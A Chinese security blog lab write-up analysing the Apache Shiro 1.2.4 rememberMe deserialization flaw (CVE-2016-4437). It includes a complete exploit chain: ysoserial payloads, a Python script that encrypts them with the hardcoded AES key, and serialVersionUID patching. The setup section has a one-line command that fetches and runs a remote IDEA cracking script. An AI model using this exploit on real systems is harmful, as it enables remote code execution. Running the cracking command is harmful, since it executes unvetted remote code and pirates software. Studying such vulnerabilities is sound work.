代码审计 | Shiro-550 —— CVE-2016-4437 环境搭建调试分析漏洞利用代码审计

代码审计 | Shiro-550 —— CVE-2016-4437 环境搭建调试分析漏洞利用

环境搭建

vulhub 快速复现

先用 vulhub 把环境跑起来，工具直接一把梭爆破确认漏洞存在：

git clone https://github.com/vulhub/vulhub.git
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d

访问 http://your-ip:8080

用工具爆破一下：

找到利用链，命令执行成功：

转存失败，建议直接上传图片文件

shiro-root-1.2.4 源码调试环境

想深入分析的话光靠 vulhub 不够，还是得把源码环境搭起来方便打断点。

拉源码切版本

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4   # 切到漏洞版本
git describe --tags              # 验证，输出: shiro-root-1.2.4

IDEA 全家桶破解

命令：irm ckey.run/debug | iex
网站：https://ckey.run/

配置 Tomcat 启动项目

配置 Tomcat 启动项：

Tomcat 本地（免费版没有这个功能）：

Tomcat 下载地址：tomcat.apache.org/download-90…

解压后配置刚刚的源码路径：

配置工件：

这里顺便说一下 war 和 war exploded 的区别：

war —— 把整个项目打包成一个 .war 文件再部署，每次改代码都要重新打包，慢
war exploded —— 直接用解压后的目录结构部署，改了 JSP/class 文件可以热更新，不用重启，调试方便

所以调试的时候选 war exploded 就行了。

解决源码构建的坑

这个版本搭建还是挺麻烦的，有几个问题需要处理。

换阿里云源解决 SSL 连接问题，编辑 C:\Users\t\.m2\settings.xml：

<settings>
  <mirrors>
    <mirror>
      <id>aliyun</id>
      <mirrorOf>central</mirrorOf>
      <name>阿里云</name>
      <url>https://maven.aliyun.com/repository/public</url>
    </mirror>
  </mirrors>
</settings>

原项目需要 JDK 1.6，这里用 toolchains 把目标强制指向 8u65，编辑 C:\Users\t\.m2\toolchains.xml：

<?xml version="1.0" encoding="UTF-8"?>
<toolchains>
  <toolchain>
    <type>jdk</type>
    <provides>
      <vendor>sun</vendor>
      <version>1.6</version>
    </provides>
    <configuration>
      <jdkHome>E:\Java8u65\jdk1.8.0_65</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

改环境变量：

$env:JAVA_HOME = "E:\Java8u65\jdk1.8.0_65"

Maven 安装命令：

mvn install "-DskipTests" "-pl" "core,web,samples/web" "-am"

没有报错后启动 Tomcat，访问：

http://localhost:8080/samples_web_war_exploded/login.jsp

成功启动了。

抓包观察 RememberMe Cookie

用 Burp 抓包，对比勾选和不勾选 Remember Me 的请求。

勾选 Remember Me：

没有勾选：

区别在于发包时有没有 rememberMe=on 参数（Cookie 里的值才是重点）。

看响应包的 Set-Cookie：

勾选的（第一个包）：

先发一个 rememberMe=deleteMe（清除旧 cookie）
再发一个有效期 1 年的长串 Base64 → 这就是加密后的序列化数据

没勾选的（第二个包）：

只有 rememberMe=deleteMe，什么都没写入

把第一个包的 rememberMe 值拿来解码分析一下，用 Python：

import base64

cookie = "RszL9pcZFVg8UmvGm2NTBB9dL54WT8SKoFxjOUewM8PYe8UHZ/Rw53xXYdSbL8tDsw1WB8kfzUuFKf+7UXq5m00YoMMy8y57ViSb2VECYmKbQLPgebJUC3v4HlMg5GlkW9f3Q9Tb0o+EXqsJ1xUECpedFcHAMN5BgQhTQ7PQZBpNpdV/YF4EogJdJ6a6n+5DLtYYoD7mpRYZalwDXImSBUUeeQiTZ9tahGLGmzNqvlLzbEW1Gh49G0SFVgn+EW++bJYjfLHqdTvHu27LbMC2nXegrsJHqQeUvqiOBid6ta1GN3EckJWWwgO8dCQPg+rq5/pNJONSWzdEswCnSrmA7WL5Eih3go0jj1OdXiBwhq5lgpym/1Cqm+srRiDfjJNIVvqnmP2sNQGOOg7SNfx3gXg4KnrlDcSZV/FiHGzNpVBe0XuuedTcnYrHDhizp3bHs9cXX6p40Hlp8ph0kU0fyeXpYr1DgdXOTUVHeAM1UhwHZ0T1P45z92b/RNz6GoOd"

data = base64.b64decode(cookie)

print(f"总长度: {len(data)} 字节")
print(f"前16字节(IV): {data[:16].hex()}")
print(f"后续数据前8字节: {data[16:24].hex()}")

输出：

总长度: 384 字节
前16字节(IV): 46cccbf6971915583c526bc69b635304
后续数据前8字节: 1f5d2f9e164fc48a

结构一目了然：

[ 前16字节 IV ] + [ 后368字节 AES-CBC 加密的序列化数据 ]

IV 是每次随机生成的，所以每次登录 cookie 都不一样。

源码调试分析

Cookie 获取流程

在 AbstractRememberMeManager.java 打两个断点：

断点1： getRememberedPrincipals

断点2： deserialize

勾选 Remember Me 登录，先来到 getRememberedPrincipals：

然后进入了 getRememberedSerializedIdentity 进行 Base64 的 cookie 获取：

上面这部分大概就是判断是不是 HTTP 请求，是否已经执行过 logout：

接下来就是从 HTTP 请求里读取 rememberMe cookie 的值，如果值是 deleteMe 就忽略，这是之前已经标记删除的 cookie：

ensurePadding 是处理 Base64 末尾 = 号补齐的问题，然后直接 Base64 解码返回字节数组：

base64 正是我们传入的 Cookie: rememberMe= 的值：

经过 Base64 decode 解码变成了字节返回 decoded：

然后继续到了 getRememberedPrincipals 的 convertBytesToPrincipals 方法，传入了刚刚的字节数据：

转存失败，建议直接上传图片文件

convertBytesToPrincipals 方法非常简单，就两步：

bytes = decrypt(bytes);
return deserialize(bytes);

反序列化触发点

deserialize(bytes) 直接反序列化，没有任何校验，这就是漏洞的根本原因。

进入 deserialize 函数：

直接进入 deserialize 看到的是接口，需要从 getSerializer() 里开始找。最后找到了 DefaultSerializer 里面有 deserialize 方法，里面实现了 readObject：

因此 deserialize 只是个壳，里面还是 readObject。

ObjectInputStream.readObject() 就是 Java 反序列化的触发点，CB 链的 PriorityQueue.readObject() 就是从这里开始的。

解密逻辑

decrypt 是一个对字节数据的解密方法：

重点是 getDecryptionCipherKey()，key 是怎么来的：

getter 直接返回 decryptionCipherKey 的值。找到一个 setter 赋值：

找到是被 setCipherKey 调用赋值的是 cipherKey：

硬编码 Key 的问题

继续往上找到 AbstractRememberMeManager 构造方法，DEFAULT_CIPHER_KEY_BYTES 是硬编码：

最后找到了 DEFAULT_CIPHER_KEY_BYTES 就是硬编码的默认 key：

在构造方法里也能看到：

this.cipherService = new AesCipherService();

用的是 AES 加密，CBC 模式是 AesCipherService 的默认模式。源码：

public AesCipherService() {
    super(ALGORITHM_NAME);
}

private static final String ALGORITHM_NAME = "AES";

JcaCipherService 的 generateInitializationVector，IV 是随机生成的：

JcaCipherService 的 decrypt 解密逻辑：

int ivByteSize = ivSize / BITS_PER_BYTE; // 128/8 = 16字节

// 前16字节取出来当IV
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

// 剩余的才是真正的密文
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);

Shiro 加密时把 IV + 密文 拼在一起存进 cookie，解密时再按这个格式拆开，这就是我们之前 Python 脚本里 data[:16] 取 IV 的依据。

加密结构梳理

整个流程捋一遍：

cookie → Base64解码 → 前16字节=IV，后续=密文 → AES-CBC解密（默认key） → deserialize() 直接反序列化 → RCE

漏洞的核心就两点：

Key 硬编码（kPH+bIxk5D2deZiIxcaaaA==），攻击者可以用相同的 key 加密恶意 payload
反序列化没有任何校验，解密完直接丢给 readObject()

漏洞利用

第一步：用 ysoserial 生成序列化 payload

java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > payload.ser

用 CB1 链，命令是弹计算器验证 RCE。

第二步：用 Python 加密后发包

import base64
import os
from Crypto.Cipher import AES

# 读取 ysoserial 生成的 payload
with open("payload.ser", "rb") as f:
    payload = f.read()

# 默认 key
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

# 随机生成 IV
iv = os.urandom(16)

# PKCS7 填充
BS = 16
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

# AES-CBC 加密
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(payload))

# IV + 密文 → Base64
cookie = base64.b64encode(iv + encrypted).decode()
print(cookie)

第三步：把生成的 cookie 塞进请求

在 Burp Repeater 里把生成的值替换 rememberMe 的值发包。

但是并没有正常弹出计算器，看报错信息：

Caused by: java.io.InvalidClassException:
org.apache.commons.beanutils.BeanComparator; local class incompatible:
stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

踩坑一：版本不匹配

版本不匹配，ysoserial 生成 CB1 链时用的是 commons-beanutils 1.9.2，但 Shiro 1.2.4 自带的是 1.8.3，两个版本的 BeanComparator serialVersionUID 不一样，反序列化时就报错了。

serialVersionUID 是 Java 序列化机制用来验证类版本一致性的标识符，序列化时写进流里，反序列化时拿出来和本地类对比，不一样就直接报 InvalidClassException。

ysoserial 好像没有 1.8.3 的链，有两个解决方案：

方案一：改 Shiro 的依赖版本（最简单）

在 samples/web/pom.xml 加上强制覆盖版本：

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.2</version>
</dependency>

让 Shiro 用 1.9.2，和 ysoserial 生成的 payload 版本一致，重新 mvn install 部署。

方案二：Python 直接修改 serialVersionUID

用 Python 把 payload.ser 里的 serialVersionUID 从 1.9.2 的值替换成 1.8.3 的值：

import struct

with open("payload.ser", "rb") as f:
    data = f.read()

# 1.9.2 的 UID: -2044202215314119608
old_uid = struct.pack(">q", -2044202215314119608)
# 1.8.3 的 UID: -3490850999041592962
new_uid = struct.pack(">q", -3490850999041592962)

data = data.replace(old_uid, new_uid)

with open("payload_183.ser", "wb") as f:
    f.write(data)

print("done")

然后用 payload_183.ser 重新加密发包。

踩坑二：ClassLoader 问题

换了方案还是不行，又报错了：

2026-04-07 14:18:16,889 TRACE [org.apache.shiro.util.ClassUtils]:
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
from the thread context ClassLoader. Trying the current ClassLoader...

这次是 ClassLoader 问题。CB 链依赖了 commons-collections，但 Shiro 的 WebappClassLoader 找不到它。

Shiro 重写了 ClassResolvingObjectInputStream.resolveClass()：

// 源码在 core/src/main/java/org/apache/shiro/io/ClassResolvingObjectInputStream.java
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
    try {
        return ClassUtils.forName(osc.getName());
    } catch (UnknownClassException e) {
        throw new ClassNotFoundException("Unable to load ObjectStreamClass ...");
    }
}

ClassUtils.forName() 用的是 Shiro 自己的类加载器，而不是 JDK 默认的 AppClassLoader，导致即使 war 包里有 commons-collections，也可能加载不到 CC 链里的某些类。

所以需要 NOCC 版本 —— 不依赖 Commons Collections 的 CB 链。

换了这个工具：github.com/Y4er/ysoser…

java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils183NOCC "calc.exe" > payload.ser

最终打通

这次成功弹出了计算器：

完整利用链：

ysoserial 生成 CB183NOCC payload
    ↓
Python AES-CBC 加密（key=kPH+bIxk5D2deZiIxcaaaA==）
    ↓
Base64 编码塞进 rememberMe cookie
    ↓
Shiro 取出 cookie → Base64解码 → AES解密 → deserialize()
    ↓
CB链触发 → Runtime.exec("calc.exe") → RCE

总结

漏洞根本原因：

Shiro 1.2.4 的 rememberMe 功能用 AES-CBC 加密序列化数据存 cookie，但 key 是硬编码的默认值 kPH+bIxk5D2deZiIxcaaaA==，任何人都能用这个 key 加密自己的 payload
解密后直接调用 ObjectInputStream.readObject() 反序列化，没有任何类白名单校验，一把进 RCE

打 Shiro 的链选择优先级：

CB183NOCC —— 只依赖 JDK 自带类，不受 Shiro ClassLoader 限制，最稳
CB1 —— 需要 commons-beanutils 1.9.2 且版本匹配，需要额外处理
CC 链 —— 受 ClassLoader 限制，不稳定，不推荐

实际渗透时，工具（ShiroAttack2、shirogui 等）基本上是自动爆破 key 然后挂链，原理就是这样。理解了加密结构之后，自己手动复现一遍还是挺有意思的，踩的坑也都是实际打时会遇到的问题。